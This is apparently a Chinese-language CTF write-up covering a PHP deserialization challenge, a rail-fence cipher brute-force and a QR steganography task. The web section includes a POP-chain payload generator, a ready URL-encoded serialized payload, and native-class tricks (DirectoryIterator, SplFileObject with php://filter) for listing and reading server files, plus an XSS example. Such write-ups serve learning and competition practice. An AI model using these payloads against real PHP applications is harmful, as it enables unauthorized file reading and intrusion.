前言
第二次参加了,开局平台直接拉胯,崩了一个多小时,真滴无语。
Web
checkin
签到题,看下返回包的header,没什么好说的。
pppop
<?php
class A1
{
public $tmp1;
public $tmp2;
public function __construct()
{
echo "Enjoy Hacking!";
}
public function __wakeup()
{
$this->tmp1->hacking();
}
}
class A2
{
public $tmp1;
public $tmp2;
public function hacking()
{
echo "Hacked By Bi0x";
}
}
class A3
{
public $tmp1;
public $tmp2;
public function hacking()
{
$this->tmp2->get_flag();
}
}
class A4
{
public $tmp1 = '1919810';
public $tmp2;
public function get_flag()
{
echo "flag{" . $this->tmp1 . "}";
}
}
class A5
{
public $tmp1;
public $tmp2;
public function __call($a, $b)
{
$f = $this->tmp1;
$f();
}
}
class A6
{
public $tmp1;
public $tmp2;
public function __toString()
{
$this->tmp1->hack4fun();
return "114514";
}
}
class A7
{
public $tmp1 = "Hello World!";
public $tmp2;
public function __invoke()
{
echo "114514" . $this->tmp2 . $this->tmp1;
}
}
class A8
{
public $tmp1;
public $tmp2;
public function hack4fun()
{
echo "Last step,Ganbadie~";
if (isset($_GET['DAS'])) {
$this->tmp1 = $_GET['DAS'];
}
if (isset($_GET['CTF'])) {
$this->tmp2 = $_GET['CTF'];
}
echo new $this->tmp1($this->tmp2);
}
}
if (isset($_GET['DASCTF'])) {
unserialize($_GET['DASCTF']);
} else {
highlight_file(__FILE__);
}
反序列化题,pop链很简单,应该还有其他链
A1 -> A3 -> A4 -> A6 -> A8
<?php
class A1
{
public $tmp1;
public $tmp2;
public function __construct()
{
$this->tmp1 = new A3();
}
}
class A3
{
public $tmp1;
public $tmp2;
public function __construct()
{
$this->tmp2 = new A4();
}
}
class A4
{
public $tmp1 = '1919810';
public $tmp2;
public function __construct()
{
$this->tmp1 = new A6();
}
}
class A6
{
public $tmp1;
public $tmp2;
public function __construct()
{
$this->tmp1 = new A8();
}
}
class A8
{
public $tmp1;
public $tmp2;
}
$a = new A1();
echo urlencode(serialize($a));
?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D
问题就在于这里怎么利用
比赛的时候没想出来,事后问了问师傅,拿到篇文章
要点在于
有括号的要先算括号内的
<?php
$sql = mysqli_connect(phpinfo(),"root","root","mysql");
还可以xss
<?php
echo new Exception("$_GET[1]");
//?1=<script>alert("XSS");</script>
当然,如果是http传入,会直接当做字符串打印出来。
所以换其他原生类
读文件:
*
是通配符
&DAS=DirectoryIterator&CTF=glob://*
文件名:flaggggggggggg.php
读内容
&DAS=SplFileObject&CTF=php://filter/convert.base64-encode/resource=flaggggggggggg.php
解码,结束。
Crypto
Easy Railfence
# -*- coding: utf-8 -*-
import hashlib
from flag import Rail,Offset,m
def encrypt(c,rails,offset):
c = '$' * offset + c
length = len(c)
result = {x: "" for x in range(rails)}
for a in range(length):
width = rails * 2 - 2
num = a % width
if (num < rails):
result.update({num: result[num] + c[a]})
else:
ll = 2 * rails - 2 - num
result.update({ll: result[ll] + c[a]})
d = ""
for k in range(rails):
d = d + result[k]
d = d.replace('$','')
print (d)
assert (m[:4] == "flag")
encrypt(m, Rail , Offset)
#reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw
#reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw
#flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
flag = hashlib.md5("".join(str(m))).hexdigest()
题目给了提示,栅栏
爆破key和offset。{}lg
都是只有单个字符。
s = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
for rails in range(3, 1000):
for offset in range(3, 1000):
d = encrypt(s, rails, offset)
if d[23] == '}' and d[42] == '{' and d[24] == 'l' and d[36] == 'g':
print(rails, offset)
我写的爆破脚本
s = "flag{*********************************************************}"
m = "reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw"
a = [''] * 63
for j in range(len(m)):
if m[j] in ['{', '}', 'l', 'g']:
continue
tmp = []
for i in range(5, len(s)):
tmp = []
for x in s:
tmp.append(x)
tmp[i] = m[j]
data = ''.join(tmp)
en_data = encrypt(data, 13, 5)
if en_data[j] == m[j]:
# print(m[j], i) # 输出可能的原位置
if a[i] == '':
a[i] = m[j]
else:
print("重复:", m[j], i)
print(''.join(a))
我这写的思路比较麻烦,简直是倒过来爆破。先是
ffffffffffb0verthefenceeveny0udOnotunderstandhowitworks!=
然后把重复的f加入过滤,
aaaaaaaaimb0vertheenceeveny0udOnotunderstandhowitworks!=
最后再加a
YOucnc1imb0vertheenceeveny0udOnotunderstndhowitworks!=
YOuc nc1imb0verthe enceeveny0udOnotunderst ndhowitworks!=
少了f和a字符,当时脑子没转过来,还在想怎么缺了字符!!!其实光是看着英文都能补全!!气死了。浪费了好多时间。
这是多对1的,多个不同字符可能会移动到相同位置还满足条件,有可能会把正确的位置给覆盖了。
这种思路其实不太好,碰到重复字符多一点就糟了。
s = "flag{*********************************************************}"
m = "reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw"
a = [''] * 63
for j in range(len(m)):
for i in range(0, len(s)):
data = s[:i] + m[j] + s[i + 1:]
en_data = encrypt(data, 13, 5)
if en_data[j] == m[j]:
if a[i] == '':
a[i] = m[j]
break
else:
print("重复:", m[j], i, a[i])
print(''.join(a))
小改了一下,很接近了。
在这加个
倒是很接近,但还不够完善。这条路本来就是崎岖了,没必要走下去了。
队友写的:
def compare(str1, str2):
ans = 0
for i in range(len(str2)):
if str1[i] == str2[i]:
ans += 1
return ans
Rail = 13
Offset = 5
m = 'flag{_________________________________________________________}'
target = 'reetdrvhns0eutbftafmeon}linnd=a1cOh!gcedos{neuwkYav0irOceytounw'
for i in range(5, 62):
for j in range(33, 127):
m = m[:i] + chr(j) + m[i + 1:]
if compare(target, encrypt(m, 13, 5)) == i + 2:
break
print(m)
也可以用工具一把梭。
MISC
qrimg
可用Steganography导出二维码,用脚本批量跑一下
import os
cmd = 'stegolsb stegdetect -i {}.bmp -n 1'
for i in range(0, 312):
n = str(i).zfill(5)
filename = './qrimg/' + 'IMG' + n
os.system(cmd.format(filename))
之后一个一个扫二维码……
将7次结果base64,结束。